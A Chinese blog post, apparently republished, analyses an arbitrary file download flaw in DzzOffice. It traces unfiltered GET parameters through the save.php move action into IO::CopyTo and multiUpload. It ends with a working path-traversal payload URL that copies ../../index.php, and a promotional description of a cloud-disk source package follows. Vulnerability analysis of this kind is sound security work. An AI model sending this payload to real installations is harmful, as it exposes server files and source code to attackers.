dzzoffice 任意文件下载漏洞分析

dzzoffice 任意文件下载

\updload\dzz\system\save.php
第72行开始:
    elseif($_GET['do']=='move'){
    $obz=trim($_GET['obz']);
    $tbz=trim($_GET['tbz']);
    $sourcetype=trim($_GET['sourcetype']);
    $icoids=explode(',',$_GET['icoid']);
    $ticoid=intval($_GET['ticoid']);
    $container=trim($_GET['container']);
    $iscut=isset($_GET['iscut'])?intval($_GET['iscut']):0;
    $data=array();
    $icoarr=array();
    $folderarr=array();
进入move条件
几个参数全是直接GET传入,没有过滤,只有$ticoid经过intval整形判断。

$icoids看这个参数完全没有过滤,跟进
elseif($sourcetype=='icoid'){//
        
        $data=array();
        $totalsize=0;
        $data['gid']=$gid;
        $data['iscopy']=$iscopy;
        $icos=$folderids=array();
        
        //
        
        foreach($icoids as $icoid){
            //
            $opath=rawurldecode($icoid);
            $path=rawurldecode(str_replace(array('_dock_','icosContainer_folder_','icosContainer_body_'),'',$container));
            
             $return=IO::CopyTo($opath,$path,$iscopy);
             if(!$iscopy){
                 $return = IO::DeleteByData($return);
             }
            
            if($return['success']===true){
                $data['icoarr'][]=$return['newdata'];
                if(!$tbz){
                    addtoconfig($return['newdata'],$ticoid);
                }
                
                if($return['newdata']['type']=='folder') $data['folderarr'][]=IO::getFolderByIcosdata($return['newdata']);
                $data['successicos'][$return['icoid']]=$return['newdata']['icoid'];
                
            }else{
                $data['error'][]=$return['name'].':'.$return['success'];
            }
        }
        if($data['successicos']){
            $data['msg']='success';
            if(isset($data['error'])) $data['error']=implode(';',$data['error']);
            echo json_encode_gbk($data);
            exit();
        }else{
            $data['error']=implode(';',$data['error']);
            echo json_encode_gbk($data);
            exit();
        }
    }

第162到第205行全是这个函数相关。
首先是rawurldecode 和urldecode功能一样是url解码,然后$container=trim($_GET['container']);
这个函数也是直接传入然后去空格没有过滤。


$return=IO::CopyTo($opath,$path,$iscopy);这句是返回一个IO类的CopyTo方法的值跟进这个方法
class IO extends dzz_io {}
找到dzz_io类
在\upload\core\class\dzz\dzz_io.php中定义这个类
然后找到类方法CopyTo
function CopyTo($opath,$path,$iscopy=0){
    
        if($io=self::initIO($opath)) return $io->CopyTo($opath,$path,$iscopy);
        else return false;
    }



这里调用了另外一个类方法initIO这里把传入的第一个变量$opath传到这个方法当中跟进这个类方法
        protected function initIO($path){
        $bzarr=explode(':',$path);
        $allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');
        
        if(strpos($path,'dzz::')!==false){
            $classname= 'io_dzz';
        }elseif(strpos($path,'attach::')!==false){
            $classname= 'io_dzz';
        }elseif(is_numeric($bzarr[0])){
            $classname= 'io_dzz';
        }elseif(in_array($bzarr[0],$allowbz)){
            $classname= 'io_'.$bzarr[0];
        }else{
            return false;
        }
        return new $classname($path);
观察返回值前是return $io->CopyTo而这里$io的值全是io_dzz所以就变成了return io_dzz->CopyTo(这里之前没注意$io返回值卡了半天)
查看io_dzz类中的CopyTo方法
    public function CopyTo($icoid,$path,$iscopy){
        try{
            $data=self::getMeta($icoid);
            if(is_numeric($path)){//如果目标位置也是本地
            
                if(!$iscopy){
                    $re=self::FileMove($icoid,$path,true);
                    $data['newdata']=$re['icoarr'];
                    $data['success']=true;
                }else{
                    $re=self::FileCopy($icoid,$path,true);
                    $data['newdata']=$re['icoarr'];
                    $data['success']=true;
                }
                
            }else{
                
                switch($data['type']){
                    case 'folder'://创建目录
                        if($re=IO::CreateFolder($path,$data['name'])){
                            if(isset($re['error']) && intval($re['error_code'])!=31061){
                                $data['success']=$arr['error'];
                            }else{
                                
                                $data['newdata']=$re['icoarr'];
                                $data['success']=true;
                                 $contents=C::t('icos')->fetch_all_by_pfid($data['oid']);
                                 foreach($contents as $key=>$value){
                                    $data['contents'][$key]=self::CopyTo($value['icoid'],$re['folderarr']['path']);
                                 }
                            }
                        }
                        break;
                    case 'shortcut':case 'discuss':case 'dzzdoc':case 'user':case 'link':case 'music':case 'video':case 'topic':case 'app'://这些内容不能移动到api网盘内;
                        $data['success']=lang('message','非文件类只能存储在企业盘');
                        break;
                    default:
                        $re=IO::multiUpload($icoid,$path,$data['name']);
                        if($re['error']) $data['success']=$re['error'];
                        else{
                            $data['newdata']=$re;
                            $data['success']=true;
                        }
                        break;
                }
            }
        }catch(Exception $e){
            $data['success']=$e->getMessage();
            return $data;
        }
        return $data;
    }
在\upload\core\class\io\io_dzz.php的1415到1465行
$re=IO::multiUpload($icoid,$path,$data['name']);这里调用multiUpload方法跟进
    function multiUpload($file,$path,$filename,$attach=array(),$ondup="newcopy"){
        if($io=self::initIO($path))    return $io->multiUpload($file,$path,$filename,$attach,$ondup);
        else return false;
    }




同样是io_dzz类里面的multiUpload方法
public function multiUpload($opath,$path,$filename,$attach=array(),$ondup="newcopy"){
    /*
     * 分块上传文件
     * param $file:文件路径(可以是url路径,需要服务器开启allow_url_fopen);
    */
        $partsize=1024*1024*5; //分块大小2M
        $data=IO::getMeta($opath);
        
        if($data['error']) return $data;
        $size=$data['size'];
        if(is_array($filepath=IO::getStream($opath))){
            return array('error'=>$filepath['error']);
        }
        
        if(!SpaceSize($attach['filesize'],$gid)){
            return array('error' => lang('message','inadequate_capacity_space'));
        }
        if($size<$partsize){
            //获取文件内容
            $fileContent='';
            if(!$handle=fopen($filepath, 'rb')){
                return array('error'=>'打开文件错误');
            }
            while (!feof($handle)) {
              $fileContent .= fread($handle, 8192);
            }
            fclose($handle);
            
            return self::upload($fileContent,$path,$filename);
        }else{ //分片上传
        
            $partinfo=array('ispart'=>true,'partnum'=>0,'flag'=>$path,'iscomplete'=>false);
            if(!$handle=fopen($filepath, 'rb')){
                return array('error'=>'打开文件错误');
            }
            $fileContent='';
            while (!feof($handle)) {
              $fileContent .= fread($handle, 8192);
              if(strlen($fileContent)>=$partsize){
                  $partinfo['partnum']+=1;
                    if($partinfo['partnum']*$partsize>=$size) $partinfo['iscomplete']=true;
                  if($re=self::upload($fileContent,$path,$filename,$partinfo)){
                      if($re['error']) return $re;
                     if($partinfo['iscomplete']) return $re;
                  }
                  $fileContent='';
              }
            }
            fclose($handle);
            if(!empty($fileContent)){
                $partinfo['partnum']+=1;
                $partinfo['iscomplete']=true;
                if($re=self::upload($fileContent,$path,$filename,$partinfo)){
                    if($re['error']) return $re;
                    if($partinfo['iscomplete']) return $re;
                }
            }
                  
        }
    }
}
这里上传文件
重点终于来了!!!

            if($size<$partsize){
            //获取文件内容
            $fileContent='';
            if(!$handle=fopen($filepath, 'rb')){
                return array('error'=>'打开文件错误');
            }
            while (!feof($handle)) {
              $fileContent .= fread($handle, 8192);
            }
            fclose($handle);
            
            return self::upload($fileContent,$path,$filename);


这里upload居然还会返回,而且变量可控。
mod=corpus&op=list&cid=&fid=在数据库中看到他的上传结构是这样的
构造payload
/mod=system&op=save&do=move&container=dzz::&tbz=a&sourcetype=icoid&icoid=../../index.php


转载于:https://www.cnblogs.com/wangshuwin/p/7261939.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PHP仿百度网盘文件分享dzzoffice网盘系统源码 网盘特点 本网盘修复的核心功能 1.断点续传功能。市面上许多所谓的断点传传基本没有完美的,本源码经过修复,完美实现了断点、续传功能。 切片:大文件分成1MB大小的小文件, 服务器上传无压力,切片文件合并无压力。市面上许多切片文件合并时CPU经常占用99%,本源码CPU没有任何压力。 续传:上传中间如果人工或网络出现故障,再上传时会接着上传,不会像网上的许多所谓的续传,全是从0开始。 2.极速上传。由于采取了优化过的代码,WEB上传速度可媲美flashfxp等专业上传软件,稳定,极速。 3.强大的垃圾文件删除功能。如果大文件中途停止上传,今后再不上传的话,系统会产生若干垃圾切片文件,本系统会自动监测,如7天后会自动删除切片垃圾文件,释放服务器空间。 4.支持ssl功能,可直接用https://形式访问。 5.强大的定时任务。本系统会定时清理网盘回收站垃圾文件,而这一功能完全由系统完成,不需要由像其它系统一样必须在第三方定时设置定时任务。 三、网盘主要功能 1.支持用户管理系统。支持用户注册功能(后台可关闭),管理可为每个用户分配一定数额的存储空间,还可以限制单个上传文件大小。 2.支持管理员查看每个会员的文件上传、分享情况,可对用户文件进行删除等管理。目前,市面上的便宜网盘基本都只支持个人网盘功能,没有管理员功能,无法管理其它用户的文件。 3.支持强大的分享功能。 提取密码:输入正确的提取码方可下载文件 分享次数:超次分享次数,文件就无法下载(百度网盘没有这个功能) 分享日期:在设置的日期段内可进行下载。 4.响应式设计,完美支持手机、平板等移动终端设备。 5.可灵活设置群组权限,可只允许查看、编辑等功能。(类似于QQ群概念一样,进入群组的人可以像共享文件夹一样分享、共享、下载文件,可设置权限,如群组创建者可设置群组成员只允许查看、下载文件,但不允许其它人员上传分享文件) 6.支持压缩包在线查看功能。直接在线查看,不用下载直接在线解压。 7.支持在线创建文件夹、创建文件,删除文件等操作。 8.支持office文件在线预览功能,相当牛比。 9.支持mp4 mp3文件在线预览播放功能。 10支持极速上传文件功能。本网盘采取HTML上传技术,在WEB上传速度完全可媲美FLASHFXP等专业上传软件。 11.真正的断点续传功能,市面上许多所谓的断点续传功能都有问题。你将一个5G大文件上传到50%后,人为中断,再重新上传看看,基本全从0开始了,本网盘可接着从50%上传。 12.密码找回功能,如果忘记密码,可通过邮箱找回。 13.支持大文件体积识别功能。市面上许多上传程序,对超过2G的文件全识别为0或者几百MB,造成文件下载时出错。 14.垃圾切片文件自动删除功能。有些会员上传大文件过程中,可能由于人为或网络的问题,没有将文件上传到100%,之后再没有上传文件,造成产生了许多垃圾切片文件。本系统可智能删除垃圾切片文件,尽可能利用服务器空间。 15.自动删除回收站功能。本网盘可设置N天自动删除回收站文件,对于删除的文件会自动进入回收站,对进入回收站的文件,超过设置的天数会自动进行删除。不仅删除数据库记录,更会自动删除服务器上的物理文件。许多网盘都无法删除服务器上的文件,只是删除了数据库记录,并没有真正删除服务器文件,造成资源严重浪费

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值